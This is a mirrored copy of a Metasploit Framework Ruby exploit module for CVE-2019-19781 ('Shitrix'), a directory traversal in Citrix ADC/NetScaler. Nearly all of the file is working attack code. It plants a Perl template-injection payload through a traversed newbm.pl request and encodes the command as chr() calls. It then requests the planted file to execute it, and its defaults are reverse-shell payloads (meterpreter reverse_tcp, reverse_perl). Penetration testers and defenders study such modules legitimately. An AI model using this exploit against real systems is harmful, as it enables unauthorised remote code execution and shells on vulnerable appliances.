CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/http/citrix_dir_traversal_rce.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::Remote::CheckModule
13
include Msf::Exploit::FileDropper
14
include Msf::Module::Deprecated
15
16
moved_from 'exploit/linux/http/citrix_dir_traversal_rce'
17
18
def initialize(info = {})
19
super(update_info(info,
20
'Name' => 'Citrix ADC (NetScaler) Directory Traversal RCE',
21
'Description' => %q{
22
This module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka
23
NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.
24
},
25
'Author' => [
26
'Mikhail Klyuchnikov', # Discovery
27
'Project Zero India', # PoC used by this module
28
'TrustedSec', # PoC used by this module
29
'James Brytan', # PoC contributed independently
30
'James Smith', # PoC contributed independently
31
'Marisa Mack', # PoC contributed independently
32
'Rob Vinson', # PoC contributed independently
33
'Sergey Pashevkin', # PoC contributed independently
34
'Steven Laura', # PoC contributed independently
35
'mekhalleh (RAMELLA Sébastien)' # Module author (https://www.pirates.re/)
36
],
37
'References' => [
38
['CVE', '2019-19781'],
39
['EDB', '47901'],
40
['EDB', '47902'],
41
['URL', 'https://support.citrix.com/article/CTX267027/'],
42
['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],
43
['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/']
44
],
45
'DisclosureDate' => '2019-12-17',
46
'License' => MSF_LICENSE,
47
'Platform' => ['python', 'unix'],
48
'Arch' => [ARCH_PYTHON, ARCH_CMD],
49
'Privileged' => false,
50
'Targets' => [
51
['Python',
52
'Platform' => 'python',
53
'Arch' => ARCH_PYTHON,
54
'Type' => :python,
55
'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
56
],
57
['Unix Command',
58
'Platform' => 'unix',
59
'Arch' => ARCH_CMD,
60
'Type' => :unix_cmd,
61
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
62
]
63
],
64
'DefaultTarget' => 0,
65
'DefaultOptions' => {
66
'CheckModule' => 'auxiliary/scanner/http/citrix_dir_traversal',
67
'HttpClientTimeout' => 3.5
68
},
69
'Notes' => {
70
'AKA' => ['Shitrix'],
71
'Stability' => [CRASH_SAFE],
72
'Reliability' => [REPEATABLE_SESSION],
73
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
74
}
75
))
76
77
register_options([
78
OptString.new('TARGETURI', [true, 'Base path', '/'])
79
])
80
end
81
82
def cmd_unix_generic?
83
datastore['PAYLOAD'] == 'cmd/unix/generic'
84
end
85
86
def exploit
87
print_status("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")
88
vprint_status("Generated payload: #{payload.encoded}")
89
90
case target['Type']
91
when :python
92
execute_command(%(/var/python/bin/python2 -c "#{payload.encoded}"))
93
when :unix_cmd
94
if (res = execute_command(payload.encoded)) && cmd_unix_generic?
95
print_line(res.get_html_document.text.gsub(/undef error - Attempt to bless.*/m, ''))
96
end
97
end
98
end
99
100
def execute_command(cmd, _opts = {})
101
filename = rand_text_alpha(8..42)
102
nonce = rand_text_alpha(8..42)
103
104
res = send_request_cgi(
105
'method' => 'POST',
106
'uri' => normalize_uri(target_uri.path, '/vpn/../vpns/portal/scripts/newbm.pl'),
107
'headers' => {
108
'NSC_USER' => "../../../netscaler/portal/templates/#{filename}",
109
'NSC_NONCE' => nonce
110
},
111
'vars_post' => {
112
'url' => rand_text_alpha(8..42),
113
'title' => "[%template.new({'BLOCK'='print readpipe(#{chr_payload(cmd)})'})%]"
114
}
115
)
116
117
unless res && res.code == 200
118
print_error('No response to POST newbm.pl request')
119
return
120
end
121
122
res = send_request_cgi(
123
'method' => 'GET',
124
'uri' => normalize_uri(target_uri.path, "/vpn/../vpns/portal/#{filename}.xml"),
125
'headers' => {
126
'NSC_USER' => rand_text_alpha(8..42),
127
'NSC_NONCE' => nonce
128
},
129
'partial' => true
130
)
131
132
unless res && res.code == 200
133
print_warning("No response to GET #{filename}.xml request")
134
end
135
136
register_files_for_cleanup(
137
"/netscaler/portal/templates/#{filename}.xml",
138
"/var/tmp/netscaler/portal/templates/#{filename}.xml.ttc2"
139
)
140
141
res
142
end
143
144
def chr_payload(cmd)
145
cmd.each_char.map { |c| "chr(#{c.ord})" }.join('.')
146
end
147
148
end
149
150